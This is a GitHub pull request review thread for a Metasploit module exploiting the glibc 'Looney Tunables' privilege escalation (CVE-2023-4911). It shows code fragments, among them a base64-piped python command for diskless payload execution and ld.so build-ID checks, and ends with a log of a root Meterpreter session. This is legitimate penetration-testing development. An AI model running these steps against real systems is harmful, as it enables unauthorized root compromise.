Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) #18541

Merged
merged 15 commits into from Dec 20, 2023

Conversation

jheysel-r7
Copy link
Contributor

@jheysel-r7 jheysel-r7 commented Nov 16, 2023

The PR adds an exploit for the "Looney Tunables" Linux LPE. It checks to make sure the version of glibc running on the target is vulnerable and once verified it drops a python script that exploits the vulnerability and returns a session running in the context of the root user.

@jheysel-r7 jheysel-r7 marked this pull request as ready for review December 14, 2023 23:44
@cdelafuente-r7 cdelafuente-r7 self-assigned this Dec 15, 2023
@jheysel-r7 jheysel-r7 linked an issue Dec 15, 2023 that may be closed by this pull request
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for this great module @jheysel-r7 ! I left a few comments for you to review when you get a chance. I tested against a fresh install of Ubuntu 22.04.2 and it works great!

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
data/exploits/CVE-2023-4911/cve_2023_4911.py Outdated Show resolved Hide resolved
data/exploits/CVE-2023-4911/cve_2023_4911.py Show resolved Hide resolved
data/exploits/CVE-2023-4911/cve_2023_4911.py Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
},
}

BUILD_IDS = {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have some documentation on how to generate those magic values?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've added a comment referencing the original PoC which can find these offsets.

case sysinfo[:distro]
when 'ubuntu'
if (Rex::Version.new('2.35-0ubuntu3.4') > Rex::Version.new(glibc_version) && Rex::Version.new('2.35') > Rex::Version.new(glibc_version)) ||
(Rex::Version.new('2.37-0ubuntu2.1') > Rex::Version.new(glibc_version) && Rex::Version.new('2.37') > Rex::Version.new(glibc_version)) ||
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There is the handy between method, that one can use like this: Rex::Version.new(glibc_version).between?(Rex::Version.new('1.2'), Rex::Version.new('1.9'))

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
shell_code = payload.encoded.unpack('H*').first
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
upload("#{path}/#{python_script}", exploit_data)
cmd = "#{python_binary} #{path}/#{python_script}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would something like cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)}|base64 -d|#{python_binary} -c") work? It would avoid writing the exploit to disk.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Love that idea @jvoisin, got the payload running without being written to disk 👌

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
@jvoisin
Copy link
Contributor

jvoisin commented Dec 18, 2023

CC @blasty

@blasty
Copy link

blasty commented Dec 18, 2023

@jvoisin pong. anything in particular I should comment on?

@jheysel-r7 emailed me a while back asking me to add a MIT license blurb to gnu-acme.py so it could be incorporated into MSF. Sorry for not getting back to you, Jack; I'm bad at this whole E-mail thing. :-(

I won't be adding any conventional LICENSE blurbs to any of my public exploit code. It looks like @jheysel-r7 managed to work around this requirement by loosely rewriting my code though?

@jheysel-r7
Copy link
Contributor Author

@jvoisin pong. anything in particular I should comment on?

@jheysel-r7 emailed me a while back asking me to add a MIT license blurb to gnu-acme.py so it could be incorporated into MSF. Sorry for not getting back to you, Jack; I'm bad at this whole E-mail thing. :-(

I won't be adding any conventional LICENSE blurbs to any of my public exploit code. It looks like @jheysel-r7 managed to work around this requirement by loosely rewriting my code though?

No worries about the email @blasty! I'm not great with the email thing either especially if I don't know the person. Also no worries about the license blurb, I'm not a lawyer however the loose rewriting was an attempt to get around that issue. I've credited you as an author of the module, let me know if you have any questions or issues with any of this.

@blasty
Copy link

blasty commented Dec 18, 2023

No worries about the email @blasty! I'm not great with the email thing either especially if I don't know the person. Also no worries about the license blurb, I'm not a lawyer however the loose rewriting was an attempt to get around that issue. I've credited you as an author of the module, let me know if you have any questions or issues with any of this.

No issues from my side. If you could change my attribution line from blasty to blasty <peter@haxx.in> I would appreciate it. That's all.

@jvoisin
Copy link
Contributor

jvoisin commented Dec 18, 2023

Nope, nothing in particular, I just wanted to:

  1. let you know that metasploit might soon have one of your exploits in it
  2. give you a headsup to take a look at it if you wanted to help with the effort, or generally look at the code

Copy link
Contributor Author

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks all for the detailed review. I've pushed some changes and retested both targets listed in the documentation's scenarios section.

data/exploits/CVE-2023-4911/cve_2023_4911.py Show resolved Hide resolved
},
}

BUILD_IDS = {
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've added a comment referencing the original PoC which can find these offsets.

shell_code = payload.encoded.unpack('H*').first
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)
upload("#{path}/#{python_script}", exploit_data)
cmd = "#{python_binary} #{path}/#{python_script}"
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Love that idea @jvoisin, got the payload running without being written to disk 👌

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You might want to use a search'n'replace with a placeholder in the .py file for those, to avoid duplicating the information.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call

'DisclosureDate' => '2023-10-03',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Now that the payload is passed to python directly, there are no traces on disk, are they?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think so, I've removed this now.


def check_ld_so_build_id
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
if command_exists?('file ')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if command_exists?('file ')
if !command_exists?('file ')
print_warning('Unable to verify the BuildID for ld.so by using `file`, the exploit has a chance of being incompatible with this target.')
end

No need to fail should file not exist.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've left this suggestion out. If file does not exist we print the warning message in the else block and skip everything inside the if as it's all dependant on file being present.

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)

# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why wrap the command in $(…)? cmd_exec alone should be working, no?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup my mistake, that was unnecessarily copy and pasted over from testing.

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
jheysel-r7 and others added 3 commits December 19, 2023 13:18
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
Copy link
Contributor Author

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for all the comments @jvoisin, much appreciated!

exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py').gsub('METASPLOIT_SHELL_CODE', shell_code)

# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
output = cmd_exec("$(echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary})")
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup my mistake, that was unnecessarily copy and pasted over from testing.


def check_ld_so_build_id
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
if command_exists?('file ')
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've left this suggestion out. If file does not exist we print the warning message in the else block and skip everything inside the if as it's all dependant on file being present.

'DisclosureDate' => '2023-10-03',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think so, I've removed this now.

include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

BUILD_IDS = %w[69c048078b6c51fa8744f3d7cff3b0d9369ffd53 3602eac894717d56555552c84fc6b0e4d6a4af72 a99db3715218b641780b04323e4ae5953d68a927 a8daca28288575ffc8c7641d40901b0148958fb1 61ef896a699bb1c2e4e231642b2e1688b2f1a61e 9a9c6aeba5df4178de168e26fe30ddcdab47d374 e7b1e0ff3d359623538f4ae0ac69b3e8db26b674 956d98a11b839e3392fa1b367b1e3fdfc3e662f6]
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
case sysinfo[:distro]
when 'ubuntu'
if command_exists?('ldconfig')
(file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")'))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Any reasons for wrapping this in parenthesis?

modules/exploits/linux/local/glibc_tunables_priv_esc.rb Outdated Show resolved Hide resolved
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against fresh install of Ubuntu 22.04.2 and verified I got a session as root. I'll go ahead and land it.

  • Example output:
msf6 exploit(linux/local/glibc_tunables_priv_esc) > run verbose=true session=1

[*] Started reverse TCP handler on 192.168.100.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The glibc version (2.35-0ubuntu3.1) found on the target appears to be vulnerable
[*] Using 'python3' to run the exploit
[+] The Build ID for ld.so: 61ef896a699bb1c2e4e231642b2e1688b2f1a61e is in the list of supported Build IDs for the exploit.
[+] The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.100.112
[*] Meterpreter session 2 opened (192.168.100.122:4444 -> 192.168.100.112:34790) at 2023-12-20 13:25:30 -0500

meterpreter > getuid 
Server username: root
meterpreter > sysinfo 
Computer     : 192.168.100.112
OS           : Ubuntu 22.04 (Linux 5.19.0-35-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 20, 2023
@cdelafuente-r7 cdelafuente-r7 merged commit fb26c93 into rapid7:master Dec 20, 2023
35 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds an exploit module for the "Looney Tunables" Linux LPE, identified as CVE-2023-4911. It checks the version of glibc running on the target to make sure it is vulnerable and, once verified, it drops a python script that exploits the vulnerability and returns a session running in the context of the root user.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Looney Tunables (CVE-2023-4911) LPE
4 participants